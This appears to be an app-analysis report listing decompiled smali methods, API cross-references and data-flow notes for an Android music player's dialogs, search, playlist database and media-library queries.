45const v3, 0x7f0b0019
46const/4 v4, 0x0
48invoke-virtual {v2, v3, v4}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427353
    • p1: 0
49move-result-object v2
50const v3, 0x7f0b001a
51new-instance v4, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$1;
53invoke-direct {v4, p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$1;-><init>(Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;)V
55invoke-virtual {v2, v3, v4}, Landroid/app/AlertDialog$Builder;->setNegativeButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427354
57invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
58move-result-object v1
60invoke-virtual {v1}, Landroid/app/AlertDialog;->show()V
61const/4 v2, -0x1
63invoke-virtual {v1, v2}, Landroid/app/AlertDialog;->getButton(I)Landroid/widget/Button;
64move-result-object v2
65new-instance v3, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;
67invoke-direct {v3, p0}, Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment$2;-><init>(Lcom/twdlphqg/app/fragments/CustomPromptDialogFragment;)V
69invoke-virtual {v2, v3}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
70return-object v1
Cross References
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getStringExtra
  • com.twdlphqg.app.SearchActivity.setTabFragments
  • com.twdlphqg.app.SearchActivity.findViewById
  • com.twdlphqg.app.SearchActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.TabsPagerAdapter.<init>
  • android.support.v4.view.ViewPager.setAdapter
  • java.net.URLEncoder.encode
  • java.io.UnsupportedEncodingException.printStackTrace
Strings
  • android.intent.action.SEARCH
  • query
  • utf-8
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
3const-string v1, "android.intent.action.SEARCH"
5invoke-virtual {p1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v2
8invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
9move-result v1
10if-eqz v1, :cond_42
12const-string v1, "query"
14invoke-virtual {p1, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: query
15move-result-object v1
16iput-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
18invoke-direct {p0}, Lcom/twdlphqg/app/SearchActivity;->setTabFragments()V
19const v1, 0x7f0a003f
21invoke-virtual {p0, v1}, Lcom/twdlphqg/app/SearchActivity;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 2131361855
22move-result-object v1
23check-cast v1, Landroid/support/v4/view/ViewPager;
24iput-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->viewPager:Landroid/support/v4/view/ViewPager;
25new-instance v1, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
27invoke-virtual {p0}, Lcom/twdlphqg/app/SearchActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
28move-result-object v2
30iget-object v3, p0, Lcom/twdlphqg/app/SearchActivity;->fragments:Ljava/util/ArrayList;
32iget-object v4, p0, Lcom/twdlphqg/app/SearchActivity;->titles:Ljava/util/ArrayList;
34invoke-direct {v1, v2, v3, v4}, Lcom/twdlphqg/app/adapter/TabsPagerAdapter;-><init>(Landroid/support/v4/app/FragmentManager;Ljava/util/ArrayList;Ljava/util/ArrayList;)V
35iput-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
37iget-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->viewPager:Landroid/support/v4/view/ViewPager;
39iget-object v2, p0, Lcom/twdlphqg/app/SearchActivity;->tabPagerAdapter:Lcom/twdlphqg/app/adapter/TabsPagerAdapter;
41invoke-virtual {v1, v2}, Landroid/support/v4/view/ViewPager;->setAdapter(Landroid/support/v4/view/PagerAdapter;)V
42try_start_38:
43iget-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
45const-string v2, "utf-8"
47invoke-static {v1, v2}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: utf-8
48move-result-object v1
49iput-object v1, p0, Lcom/twdlphqg/app/SearchActivity;->query:Ljava/lang/String;
50cond_42: return-void
51catch_43: move-exception v0
53invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V
54goto/16 :goto_42
Cross References
APIs
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
  • java.lang.String.valueOf
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.delete
Strings
  • =
Position Instruction Meta Information
0.param p1, "playlistID" # I
1.prologue
2const/4 v4, 0x0
4iget-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
6sget-object v1, Lcom/twdlphqg/app/conf/constants;->TBL_TRACKS:Ljava/lang/String;
7new-instance v2, Ljava/lang/StringBuilder;
9sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_REF_PLAYLIST_ID:Ljava/lang/String;
11invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
12move-result-object v3
14invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
16const-string v3, "="
18invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
19move-result-object v2
21invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
22move-result-object v2
24invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
25move-result-object v2
27invoke-virtual {v0, v1, v2, v4}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
29iget-object v0, p0, Lcom/twdlphqg/app/dals/PlaylistDal;->dbHandler:Landroid/database/sqlite/SQLiteDatabase;
31sget-object v1, Lcom/twdlphqg/app/conf/constants;->TBL_PLAYLISTS:Ljava/lang/String;
32new-instance v2, Ljava/lang/StringBuilder;
34sget-object v3, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
36invoke-static {v3}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
37move-result-object v3
39invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
41const-string v3, "="
43invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: =
44move-result-object v2
46invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
47move-result-object v2
49invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
50move-result-object v2
52invoke-virtual {v0, v1, v2, v4}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I
  • Data flow analysis:
    • p2: 0
53move-result v0
54return v0
APIs
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.newInstance
  • com.twdlphqg.app.ExplorationActivity.getSupportFragmentManager
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.show
  • android.app.AlertDialog$Builder.<init>
  • com.twdlphqg.app.ExplorationActivity.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setMessage
  • com.twdlphqg.app.ExplorationActivity.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
Strings
  • dialog
Position Instruction Meta Information
0.param p1, "inputText" # Ljava/lang/String;
1.prologue
2iput-object p1, p0, Lcom/twdlphqg/app/ExplorationActivity;->playlistName:Ljava/lang/String;
3new-instance v3, Lcom/twdlphqg/app/dals/PlaylistDal;
5invoke-direct {v3, p0}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
7invoke-virtual {v3, p1}, Lcom/twdlphqg/app/dals/PlaylistDal;->checkExistNamePlaylist(Ljava/lang/String;)Z
8move-result v2
9if-nez v2, :cond_1e
11invoke-static {}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->newInstance()Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;
12move-result-object v1
14invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
15move-result-object v4
17const-string v5, "dialog"
19invoke-virtual {v1, v4, v5}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->show(Landroid/support/v4/app/FragmentManager;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: dialog
20goto_1a:
21invoke-virtual {v3}, Lcom/twdlphqg/app/dals/PlaylistDal;->close()V
22return-void
23cond_1e: new-instance v0, Landroid/app/AlertDialog$Builder;
25invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
27invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
28move-result-object v4
29const v5, 0x7f0b0023
31invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427363
32move-result-object v4
34invoke-virtual {v0, v4}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
36invoke-virtual {p0}, Lcom/twdlphqg/app/ExplorationActivity;->getResources()Landroid/content/res/Resources;
37move-result-object v4
38const v5, 0x7f0b0019
40invoke-virtual {v4, v5}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427353
41move-result-object v4
42new-instance v5, Lcom/twdlphqg/app/ExplorationActivity$3;
44invoke-direct {v5, p0}, Lcom/twdlphqg/app/ExplorationActivity$3;-><init>(Lcom/twdlphqg/app/ExplorationActivity;)V
46invoke-virtual {v0, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
48invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
49move-result-object v4
51invoke-virtual {v4}, Landroid/app/AlertDialog;->show()V
52goto/16 :goto_1a
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • java.util.ArrayList.add
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Track;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
17invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
18move-result v2
19if-eqz v2, :cond_5f
20if-eqz p1, :cond_5f
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Track;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Track;-><init>()V
25sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ID:Ljava/lang/String;
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setId(I)V
35sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ARTIST:Ljava/lang/String;
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setArtist(Ljava/lang/String;)V
45sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_NAME:Ljava/lang/String;
47invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
48move-result v2
50invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
51move-result-object v2
53invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setTitle(Ljava/lang/String;)V
55sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_PATH:Ljava/lang/String;
57invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
58move-result v2
60invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
61move-result-object v2
63invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setPath(Ljava/lang/String;)V
65sget-object v2, Lcom/twdlphqg/app/conf/constants;->COL_ALBUM_ID:Ljava/lang/String;
67invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
68move-result v2
70invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
71move-result v2
73invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setAlbumId(I)V
75invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
77invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
78move-result v2
79if-nez v2, :cond_d
81invoke-interface {p1}, Landroid/database/Cursor;->close()V
82cond_5f: return-object v1
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.os.Bundle.<init>
  • android.os.Bundle.putParcelableArrayList
  • android.os.Bundle.putInt
  • com.twdlphqg.app.fragments.TrackInQueueFragment.newInstance
  • com.twdlphqg.app.fragments.TrackInQueueFragment.setArguments
  • java.util.ArrayList.add
  • java.util.ArrayList.get
  • com.twdlphqg.app.fragments.AlbumArtFragment.newInstance
  • java.util.ArrayList.isEmpty
  • java.util.ArrayList.get
  • android.os.Bundle.<init>
  • android.os.Bundle.putString
  • com.twdlphqg.app.fragments.AlbumArtFragment.setArguments
  • java.util.ArrayList.add
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"()",
3"Ljava/util/ArrayList",
4"<",
5"Landroid/support/v4/app/Fragment;",
6">;"
7}
8.end annotation
9.prologue
10new-instance v6, Ljava/util/ArrayList;
12invoke-direct {v6}, Ljava/util/ArrayList;-><init>()V
13new-instance v4, Landroid/os/Bundle;
15invoke-direct {v4}, Landroid/os/Bundle;-><init>()V
17sget-object v7, Lcom/twdlphqg/app/conf/constants;->TRACKS_KEY:Ljava/lang/String;
19iget-object v8, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
21invoke-virtual {v4, v7, v8}, Landroid/os/Bundle;->putParcelableArrayList(Ljava/lang/String;Ljava/util/ArrayList;)V
23sget-object v7, Lcom/twdlphqg/app/conf/constants;->TRACK_INDEX_KEY:Ljava/lang/String;
24iget v8, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
26invoke-virtual {v4, v7, v8}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
28invoke-static {}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->newInstance()Lcom/twdlphqg/app/fragments/TrackInQueueFragment;
29move-result-object v5
31invoke-virtual {v5, v4}, Lcom/twdlphqg/app/fragments/TrackInQueueFragment;->setArguments(Landroid/os/Bundle;)V
33invoke-virtual {v6, v5}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
34new-instance v2, Lcom/twdlphqg/app/dals/AlbumDal;
36invoke-direct {v2, p0}, Lcom/twdlphqg/app/dals/AlbumDal;-><init>(Landroid/content/Context;)V
38iget-object v7, p0, Lcom/twdlphqg/app/PlayerActivity;->tracks:Ljava/util/ArrayList;
39iget v8, p0, Lcom/twdlphqg/app/PlayerActivity;->trackIndex:I
41invoke-virtual {v7, v8}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
42move-result-object v7
43check-cast v7, Lcom/twdlphqg/app/models/Track;
45invoke-virtual {v7}, Lcom/twdlphqg/app/models/Track;->getAlbumId()I
46move-result v7
48invoke-virtual {v2, v7}, Lcom/twdlphqg/app/dals/AlbumDal;->getAlbumsByIdOnMDS(I)Ljava/util/ArrayList;
49move-result-object v3
51invoke-static {}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->newInstance()Lcom/twdlphqg/app/fragments/AlbumArtFragment;
52move-result-object v0
54invoke-virtual {v3}, Ljava/util/ArrayList;->isEmpty()Z
55move-result v7
56if-nez v7, :cond_5b
57const/4 v7, 0x0
59invoke-virtual {v3, v7}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
60move-result-object v7
61check-cast v7, Lcom/twdlphqg/app/models/Album;
63invoke-virtual {v7}, Lcom/twdlphqg/app/models/Album;->getAlbumArt()Ljava/lang/String;
64move-result-object v1
65new-instance v4, Landroid/os/Bundle;
67invoke-direct {v4}, Landroid/os/Bundle;-><init>()V
69sget-object v7, Lcom/twdlphqg/app/conf/constants;->ALBUM_ART_URI_KEY:Ljava/lang/String;
71invoke-virtual {v4, v7, v1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
73invoke-virtual {v0, v4}, Lcom/twdlphqg/app/fragments/AlbumArtFragment;->setArguments(Landroid/os/Bundle;)V
74cond_5b:
75invoke-virtual {v6, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
76return-object v6
APIs
  • java.util.LinkedHashSet.isEmpty
  • java.util.LinkedHashSet.iterator
  • java.util.Iterator.hasNext
  • java.util.LinkedHashSet.isEmpty
  • java.util.LinkedHashSet.iterator
  • java.util.Iterator.hasNext
  • android.support.v7.app.ActionBarActivity.onPrepareOptionsMenu
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • android.view.Menu.findItem
  • android.view.MenuItem.setVisible
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • android.view.Menu.findItem
  • android.view.MenuItem.setVisible
Position Instruction Meta Information
0.param p1, "menu" # Landroid/view/Menu;
1.prologue
3iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->disableItems:Ljava/util/LinkedHashSet;
5invoke-virtual {v1}, Ljava/util/LinkedHashSet;->isEmpty()Z
6move-result v1
7if-nez v1, :cond_18
9iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->disableItems:Ljava/util/LinkedHashSet;
11invoke-virtual {v1}, Ljava/util/LinkedHashSet;->iterator()Ljava/util/Iterator;
12move-result-object v1
13iput-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
14goto_10:
15iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
17invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
18move-result v1
19if-nez v1, :cond_35
20cond_18:
21iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->enableItems:Ljava/util/LinkedHashSet;
23invoke-virtual {v1}, Ljava/util/LinkedHashSet;->isEmpty()Z
24move-result v1
25if-nez v1, :cond_30
27iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->enableItems:Ljava/util/LinkedHashSet;
29invoke-virtual {v1}, Ljava/util/LinkedHashSet;->iterator()Ljava/util/Iterator;
30move-result-object v1
31iput-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
32goto_28:
33iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
35invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
36move-result v1
37if-nez v1, :cond_4a
38cond_30:
39invoke-super {p0, p1}, Landroid/support/v7/app/ActionBarActivity;->onPrepareOptionsMenu(Landroid/view/Menu;)Z
40move-result v1
41return v1
42cond_35:
43iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
45invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
46move-result-object v1
47check-cast v1, Ljava/lang/Integer;
49invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
50move-result v1
52invoke-interface {p1, v1}, Landroid/view/Menu;->findItem(I)Landroid/view/MenuItem;
53move-result-object v0
54const/4 v1, 0x0
56invoke-interface {v0, v1}, Landroid/view/MenuItem;->setVisible(Z)Landroid/view/MenuItem;
  • Data flow analysis:
    • p0: 0
57goto/16 :goto_10
58cond_4a:
59iget-object v1, p0, Lcom/twdlphqg/app/ActionBarParentActivity;->iter:Ljava/util/Iterator;
61invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
62move-result-object v1
63check-cast v1, Ljava/lang/Integer;
65invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
66move-result v1
68invoke-interface {p1, v1}, Landroid/view/Menu;->findItem(I)Landroid/view/MenuItem;
69move-result-object v0
70const/4 v1, 0x1
72invoke-interface {v0, v1}, Landroid/view/MenuItem;->setVisible(Z)Landroid/view/MenuItem;
  • Data flow analysis:
    • p0: 1
73goto/16 :goto_28
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.ContentResolver.query
Strings
  • _id
  • title
  • artist
  • album_id
  • _data
  • title LIKE ?
  • %
Position Instruction Meta Information
0.param p1, "title" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Track;",
9">;"
10}
11.end annotation
12.prologue
13const/4 v4, 0x1
14const/4 v8, 0x0
16sget-object v1, Landroid/provider/MediaStore$Audio$Media;->EXTERNAL_CONTENT_URI:Landroid/net/Uri;
17const/4 v0, 0x5
18new-array v2, v0, [Ljava/lang/String;
20const-string v0, "_id"
21aput-object v0, v2, v8
23const-string v0, "title"
24aput-object v0, v2, v4
25const/4 v0, 0x2
27const-string v3, "artist"
28aput-object v3, v2, v0
29const/4 v0, 0x3
31const-string v3, "album_id"
32aput-object v3, v2, v0
33const/4 v0, 0x4
35const-string v3, "_data"
36aput-object v3, v2, v0
38iget-object v0, p0, Lcom/twdlphqg/app/dals/TrackDal;->contentResolver:Landroid/content/ContentResolver;
40const-string v3, "title LIKE ?"
41new-array v4, v4, [Ljava/lang/String;
42new-instance v5, Ljava/lang/StringBuilder;
44const-string v7, "%"
46invoke-direct {v5, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: %
48invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
49move-result-object v5
51const-string v7, "%"
53invoke-virtual {v5, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: %
54move-result-object v5
56invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
57move-result-object v5
58aput-object v5, v4, v8
59const/4 v5, 0x0
61invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Data flow analysis:
    • p2: title LIKE ?
    • p4: 0
62move-result-object v6
64invoke-direct {p0, v6}, Lcom/twdlphqg/app/dals/TrackDal;->convertMediaStoreCursorToArrayList(Landroid/database/Cursor;)Ljava/util/ArrayList;
65move-result-object v0
66return-object v0
APIs
  • android.content.Context.getSystemService
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.adapter.AlbumAdapter.getItem
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • android.net.Uri.parse
  • android.widget.ImageView.setImageURI
  • android.widget.ImageView.setImageResource
Strings
  • layout_inflater
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4move-object v6, p2
5if-nez v6, :cond_14
7iget-object v7, p0, Lcom/twdlphqg/app/adapter/AlbumAdapter;->context:Landroid/content/Context;
9const-string v8, "layout_inflater"
11invoke-virtual {v7, v8}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: layout_inflater
12move-result-object v4
13check-cast v4, Landroid/view/LayoutInflater;
14iget v7, p0, Lcom/twdlphqg/app/adapter/AlbumAdapter;->itemLayoutResource:I
15const/4 v8, 0x0
17invoke-virtual {v4, v7, v8}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
18move-result-object v6
19cond_14:
20invoke-virtual {p0, p1}, Lcom/twdlphqg/app/adapter/AlbumAdapter;->getItem(I)Ljava/lang/Object;
21move-result-object v0
22check-cast v0, Lcom/twdlphqg/app/models/Album;
23const v7, 0x7f0a002b
25invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361835
26move-result-object v5
27check-cast v5, Landroid/widget/TextView;
29invoke-virtual {v0}, Lcom/twdlphqg/app/models/Album;->getTitle()Ljava/lang/String;
30move-result-object v7
32invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
33const v7, 0x7f0a003d
35invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361853
36move-result-object v3
37check-cast v3, Landroid/widget/TextView;
39invoke-virtual {v0}, Lcom/twdlphqg/app/models/Album;->getArtist()Ljava/lang/String;
40move-result-object v7
42invoke-virtual {v3, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
43const v7, 0x7f0a003c
45invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361852
46move-result-object v1
47check-cast v1, Landroid/widget/ImageView;
49invoke-virtual {v0}, Lcom/twdlphqg/app/models/Album;->getAlbumArt()Ljava/lang/String;
50move-result-object v2
51if-eqz v2, :cond_51
53invoke-static {v2}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
54move-result-object v7
56invoke-virtual {v1, v7}, Landroid/widget/ImageView;->setImageURI(Landroid/net/Uri;)V
57goto_50: return-object v6
58cond_51: const v7, 0x7f02005d
60invoke-virtual {v1, v7}, Landroid/widget/ImageView;->setImageResource(I)V
  • Data flow analysis:
    • resId: 2130837597
61goto/16 :goto_50
APIs
  • com.twdlphqg.app.ActionBarParentActivity.onResume
  • java.lang.Boolean.booleanValue
  • com.twdlphqg.app.services.AudioPlayerService.getShuffle
  • com.twdlphqg.app.services.AudioPlayerService.getRepeat
  • com.twdlphqg.app.services.AudioPlayerService.getTrackIndex
  • com.twdlphqg.app.services.AudioPlayerService.getTrack
  • java.util.ArrayList.get
  • java.lang.Boolean.valueOf
  • com.twdlphqg.app.PlayerActivity.updateUI
  • android.content.IntentFilter.<init>
  • com.twdlphqg.app.PlayerActivity.registerReceiver
Strings
  • com.twdlphqg.app.audioplayerService
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Lcom/twdlphqg/app/ActionBarParentActivity;->onResume()V
4iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->newTask:Ljava/lang/Boolean;
6invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
7move-result v0
8if-nez v0, :cond_44
10iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
11if-eqz v0, :cond_44
13iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
15invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->getShuffle()Z
16move-result v0
17iput-boolean v0, p0, Lcom/twdlphqg/app/PlayerActivity;->isShuffle:Z
19iget-object v0, p0, Lcom/twdlphqg/app/PlayerActivity;->audioPlayerService:Lcom/twdlphqg/app/services/AudioPlayerService;
21invoke-virtual {v0}, Lcom/twdlphqg/app/services/AudioPlayerService;->getRepeat()Z
22move-result v0
23iput-boolean v0, p0, Lcom/twdlphqg/app/PlayerActivity;->isRepeat:Z
